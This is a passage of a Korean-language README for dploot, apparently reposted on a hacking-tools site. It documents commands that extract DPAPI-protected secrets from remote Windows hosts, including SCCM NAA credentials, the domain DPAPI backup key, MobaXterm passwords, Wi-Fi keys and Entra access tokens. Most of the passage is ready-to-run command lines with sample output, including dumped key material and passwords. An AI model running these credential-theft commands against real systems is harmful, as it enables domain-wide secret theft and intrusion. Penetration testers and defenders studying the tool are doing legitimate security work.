{9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db

[*] Triage ALL WIFI profiles

[WIFI]
SSID:		Wifi_G
AuthType:	WPA2PSK
Encryption:	AES
Preshared key:	AzErTy1234567890QwSxDcFvG

[WIFI]
SSID:		EAP_TLS
AuthType:	WPA2 EAP
Encryption:	AES
EAP Type:	EAP TLS

EapHostConfig:
  EapMethod:
    Type: 13
    VendorId: 0
    VendorType: 0
    AuthorId: 0
  Config:
    Eap:
      Type: 13
      EapType:
        CredentialsSource:
          CertificateStore:
            SimpleCertSelection: true
        ServerValidation:
          DisableUserPromptForServerValidation: false
          ServerNames: None
        DifferentUsername: false
        PerformServerValidation: true
        AcceptServerName: false

[snip]

sccm

sccm 명령은 원격 대상에서 NAA 자격 증명, 컬렉션 변수 및 작업 시퀀스 자격 증명을 검색하고, 하나 이상의 {GUID}:SHA1로 구성된 -mkfile FILE을 사용하여 이를 복호화합니다. 그렇지 않으면 dploot는 머신 마스터키를 복호화하기 위해 DPAPI_SYSTEM LSA 비밀 키를 덤프한 다음, 발견된 암호화된 DPAPI 개인 키 blob을 복호화합니다. -wmi를 사용하면 WMI 요청 결과에서 SCCM 비밀을 덤프합니다.```text $ dploot sccm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage SYSTEM masterkeys

{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46 {e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba {6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89 {750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049

[*] Triage SCCM Secrets

[NAA Account] Username: NAAAccount Password: Password!123

[snip]

root@kitploit:~
#### backupkey

**backupkey** 명령은 [MS-LDAD](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc)를 사용하여 도메인 컨트롤러에서 도메인 DPAPI 백업 키를 검색합니다. 이 키는 변경되지 않으며 모든 도메인 사용자 DPAPI 보호 비밀을 해독할 수 있습니다. Domain Admin 권한이 필요합니다.

기본적으로 이 명령은 도메인 백업 키를 key.pvk라는 파일에 기록하지만 `outputfile` 플래그로 변경할 수 있습니다. `legacy` 플래그를 사용하여 레거시 백업 키를 덤프하는 것도 가능합니다.```text
$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.20
[*] Connected to dc01.waza.local as waza.local\e.cartman (admin)

[DOMAIN BACKUPKEY V2]

PVK_FILE_HDR
dwMagic: {2964713758}
dwVersion: {0}
dwKeySpec: {1}
dwEncryptType: {0}
cbEncryptData: {0}
cbPvk: {1172}
PRIVATEKEYBLOB:{1ef1b5b000000000010000000000000000000000940400000702000000a4000052534132000800000100010081a511b5e41ad9563aff9f591ba61bec76ba09859750b0bcbeff2ef26f06b1a85b6b763623249890587cee80495ad02c3c1554abf9eb472da753531186d1a58dc853ac85a31dc14348a477b1555e8f882a3c4543098896fe7523dabbfed2bda09a9cf86fdc017bb86375eec8058953193a58f8896c0c6f622da40cfee5f4734b07458176c3aa8ff1cbe3eaf6faa97d774c68f82b59a635d2e671d5e658bab75f7e6ca2d9c04bb5bf2aa18b13cb4b18951be73f0ec16e3e5d8e8caee9ab26d44e365b3669ccb03c1f2d25f24f6a7f2ac116975a9b58662c1aed40af1d0277b78dab978de25f7aaf09596b869fa5b7762c7f63b5ad0b8611826f79e37a252123f06f4cd136b5919607c768ebe59e1001952ae9bb74bb4462ffb5059473b836d8ca287bc0c01653d28da74798be1c867d364158d8fc3acbe287efe88ea24359b7cffa5b02fd61840a6b786ba33cf842e80231ded169eeb6bc582cb174a17f4dfdf25e7fdcd399f6dab6b62e91cdebaa882797b449bd591a5e189bc86ffc535771f60f05b0e4136d6e64c33adbd572e0c83b7762b0b5e81f36a9bc41c0445c652ddd4012d92839806a594af1b2abf392cbe052f585a69565d8ef23df0df41fdafbaa587cdda27c7a818590d48b75672c6459dc7a865fb69eaa0243c988d6a512bf2c6e24ddfdd1025a588a128cf981f2ed9370781b0f1a0c6ff1f4cccf22163073f9457f91d7fa2bd412bd8ce8d595ed1df2ea2ca1b9f02f0edba7a07ffddb81a6f2847a54ba0b1b8a6f78df0f5f2b29a347ce9b7b6f59e50c3828bfdefbba442f171c4c334c85ab7db48c6e4fd9acbd7d97e2ef59c56ad171b152c600977f6a19d8548ce931035995b5a3f6f70e2a4ac39ab071e39f8235ec3f238ac0017f71cbc4f52891d47ebb5114be9417a8d6a811a5c07025aa223fc6ac3dee729762ff1b34dab65cdce2a69887122d86054a03224fe9e982ad1071840ecdd18ebe3fc3eafa242d4a7bb917282fc2f157c6a9acef01871f70887e31e5b272fd20f39cf0256d96dde7f5380afca01917e57d04d11efa2e39051ca87ab61fd13e07555c8ab1137a8d916202ccd99b70c8ed080188fbf6691d621309441ac407865f985e44c5a2876a33f72a2bdef444b65d087eb150d8e83e9dc2eac198f0f3b9da26a32f2ba4d6b448ab4437778b74ecff7e94aae1020b2773469f80021ec4baaa202d859a21da601f3eff77b599f2249cc2e92019b97defbd2786599a9c331032db72356daec1236f703a6649aa5bc3eeef57177d9bb08d00844a573eb8fc356a36ffda43b2d790836a00fe632b124f280925bc13f1e60326ef0da237f2aaae721c0ffec02b84d09fe9f59d6aa68d19c61c9a794a0746ebe0d03af7563efa7ffef80462d10e30d65f2a9a75f44eba7b5222cffc49f331dc9f74bca51819e2b061ac558cc397bbf42e94ccb39625a584deb549eaf34dcfc2ecd9c9c0b0c2f65d4b6966d9e60a7a1c17c1848e7c7d7d4cd0054ad78a4991dbc8771aba7f26058fef848fd49fff622eed23e0dfcb453e178c189ae609cdb1aa2b1e4d4a8182c6dcd735581690d6fb52e5bddff1b37419cad1f84921235d5fa1e192c71bbada85527a14e7e06c53}


[-] Exporting domain backupkey to file key.pvk

mobaxterm

mobaxterm 명령은 hive(HKU)에서 MobaXterm 시크릿과 마스터 비밀번호 키를 추출하고, 하나 이상의 {GUID}:SHA1 형식의 -mkfile FILE, user:password 조합의 -passwords FILE, user:nthash 조합의 -nthashes, 또는 먼저 마스터키를 해독하기 위한 -pvk PVKFILE로 이를 복호화합니다. 사용자가 원격 대상에 연결되어 있지 않은 경우, dploot는 NTUSER.dat에서 시크릿을 다운로드하고 추출합니다.

pvk 사용 시:```text dploot mobaxterm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{6dedb662-3f3c-43a7-bfc4-e2990a48d4dd}:32c4eeeac475910a33f531b56cf9d73f35490d5e {21f17bcd-eac1-4187-9538-a744f2c6e17b}:198eba83e088a59fd75e6435b38804d4973a2c1e

[*] Triage MobaXterm Secrets

[MOBAXTERM CREDENTIAL] Name: TEST Username: user Password: waza1234

[MOBAXTERM PASSWORD] Username: mobauser@mobaserver Password: 309554moba231082pass322883

root@kitploit:~
### wam

**wam** 명령은 Token Broker Cache에서 TBRES 파일을 검색하고, `-mkfile FILE`을 사용하여 하나 이상의 {GUID}:SHA1을 지정해 해당 내용을 복호화합니다. 또는 `-passwords FILE`로 user:password 조합, `-nthashes`로 user:nthash 조합, `-pvk PVKFILE`을 사용하여 먼저 마스터키를 복호화할 수도 있습니다.

`pvk` 사용 시:```text
dploot wam -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3
{13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9

[*] Triage Office Token Broken Cache for ALL USERS

[TBRES FILE]
Version: 1
expiration: 133668881920000000
responses: b'\x8aC\xed\x9f\xf4\xe6D!\x0c\x82\x86)\xab\x1d\xf9\xac'
WTRes_Token: access_token=eyJhb[...]

팁: Entra 사용자의 Microsoft 액세스 토큰은 TBRES 파일에서 찾을 수 있습니다.

blob

blob 명령은 -mkfile FILE로 하나 이상의 {GUID}:SHA1, -masterkey {GUID}:SHA1, 또는 -passwords FILE의 user:password 조합, -nthashes의 user:nthash 조합, 또는 -pvk PVKFILE을 사용하여 먼저 마스터키를 복호화한 후 DPAPI blob을 복호화합니다.

pvk 사용:```text dploot blob -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk -blob 'AQAAANCMnd8BF[...]' [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3 {13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9

[*] Trying to decrypt DPAPI blob

[BLOB] Version : 1 (1) Guid Credential : DF9D8CD0-1501-11D1-8C7A-00C04FC297EB MasterKeyVersion : 1 (1) Guid MasterKey : 13405569-1685-49C7-90E2-0E7CE55E5B8B Flags : 0 () Description : CryptAlgo : 00006603 (26115) (CALG_3DES) Salt : b'a5a15df8f0fb606897f28966dd5fcd9e' HMacKey : b'' HashAlgo : 00008004 (32772) (CALG_SHA) HMac : b'80b2dc6cee8d206d5dc5a9ef844f000a' Data : b'5ece8ce1dd8[...]

Data decrypted : b'0\x00\x00\x00\x01\x00\x00[...]'

root@kitploit:~
***팁***: *Entra 사용자의 Microsoft 액세스 토큰은 TBRES 파일에서 찾을 수 있습니다.*

## 크레딧

이 도구를 작성하는 데 많은 도움을 준 프로젝트들입니다:

- [Impacket](https://github.com/SecureAuthCorp/impacket) - 커뮤니티 제작
- [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) - [Harmj0y](https://twitter.com/harmj0y) 제작
- [Mimikatz](https://github.com/gentilkiwi/mimikatz/) - [gentilkiwi](https://twitter.com/gentilkiwi) 제작
- [DonPAPI](https://github.com/login-securite/DonPAPI) - [LoginSecurite](https://twitter.com/LoginSecurite) 제작
- [WAMBam](https://github.com/xpn/WAMBam) - [_xpn_](https://twitter.com/_xpn_) 제작
도구 다운로드